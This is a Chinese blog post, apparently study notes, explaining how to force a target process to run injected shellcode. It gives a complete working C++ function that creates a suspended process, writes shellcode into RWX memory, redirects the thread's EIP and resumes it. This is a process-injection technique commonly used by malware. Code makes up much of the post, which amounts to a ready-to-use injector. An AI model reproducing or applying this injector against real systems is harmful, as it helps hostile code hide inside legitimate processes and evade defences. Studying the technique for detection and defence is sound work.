zoukankan      html  css  js  c++  java
  • 强制让目标进程执行自己的 ShellCode

    • 实现原理
      • 首先,使用 CreateProcess 函数创建进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表示新进程的主线程被挂起。
      • 然后,使用 VirtualAllocEx 函数在新进程中申请一块可读、可写、可执行的内存,并使用 WriteProcessMemory 函数写入Shellcode 数据。
      • 接着,使用 GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文。并修改线程上下文的指令指针 EIP 的值,更改主线程的执行顺序。再将修改过的线程上下文设置回主线程中。
      • 最后,我们调用 ResumeThread 恢复主线程,让进程按照修改后的 EIP 继续运行,执行我们的 Shellcode 代码。

    其中,当使用 CreateProcess 创建进程时,创建标志为 CREATE_SUSPENDED,则表示新进程的主线程被创建为挂起状态,直到使用 ResumeThread 函数恢复主线程,进程才会继续运行。

    其中,要注意的是,在使用 GetThreadContext 获取线程上下文的时候,一定要对 CONTEXT 机构中的 ContextFlags 成员赋值,表示指明要检索线程的上下文的哪些部分,否则会导致程序实现不到想要的效果。我们可以指明 CONTEXT_FULL,表示获取所有的线程上下文信息。

    编码实现

        // 创建进程并替换进程内存数据, 更改执行顺序
        BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
        {
            STARTUPINFO si = { 0 };
            PROCESS_INFORMATION pi = { 0 };
            CONTEXT threadContext = { 0 };
            BOOL bRet = FALSE;
            ::RtlZeroMemory(&si, sizeof(si));
            ::RtlZeroMemory(&pi, sizeof(pi));
            ::RtlZeroMemory(&threadContext, sizeof(threadContext));
            si.cb = sizeof(si);
            // 创建进程并挂起主线程
            bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
            if (FALSE == bRet)
            {
                ShowError("CreateProcess");
                return FALSE;
            }
            // 在替换的进程中申请一块内存
            LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (NULL == lpDestBaseAddr)
            {
                ShowError("VirtualAllocEx");
                return FALSE;
            }
            // 写入替换的数据
            bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
            if (FALSE == bRet)
            {
                ShowError("WriteProcessError");
                return FALSE;
            }
            // 获取线程上下文
            // 注意此处标志,一定要写!!!
            threadContext.ContextFlags = CONTEXT_FULL;
            bRet = ::GetThreadContext(pi.hThread, &threadContext);
            if (FALSE == bRet)
            {
                ShowError("GetThreadContext");
                return FALSE;
            }
            // 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
            threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
            // 设置挂起进程的线程上下文
            bRet = ::SetThreadContext(pi.hThread, &threadContext);
            if (FALSE == bRet)
            {
                ShowError("SetThreadContext");
                return FALSE;
            }
            // 恢复挂起的进程的线程
            ::ResumeThread(pi.hThread);
            return TRUE;
        }
    

    许可协议: 文章中的代码均为学习时整理的笔记,博客中除去明确标注有参考文献的文章,其他文章【均为原创】作品,转载请务必【添加出处】,您添加出处是我创作的动力!
  • 相关阅读:
    NOIP赛前集训备忘录(含每日总结)(日更?。。。)
    饮一碗鸡汤,换我前进的力量(持续更新......)
    各种用来学习的东西总结
    [FJOI2007]轮状病毒 题解(dp(找规律)+高精度)
    洛谷P1823 [COI2007] Patrik 音乐会的等待(单调栈+二分查找)
    [CQOI2012]模拟工厂 题解(搜索+贪心)
    [CQOI2014]数三角形 题解(组合数学+容斥)
    洛谷P2507 [SCOI2008]配对 题解(dp+贪心)
    洛谷P1484 种树&洛谷P3620 [APIO/CTSC 2007]数据备份 题解(堆+贪心)
    洛谷P1155 双栈排序题解(图论模型转换+二分图染色+栈)
  • 原文地址:https://www.cnblogs.com/LyShark/p/15018881.html
Copyright © 2011-2022 走看看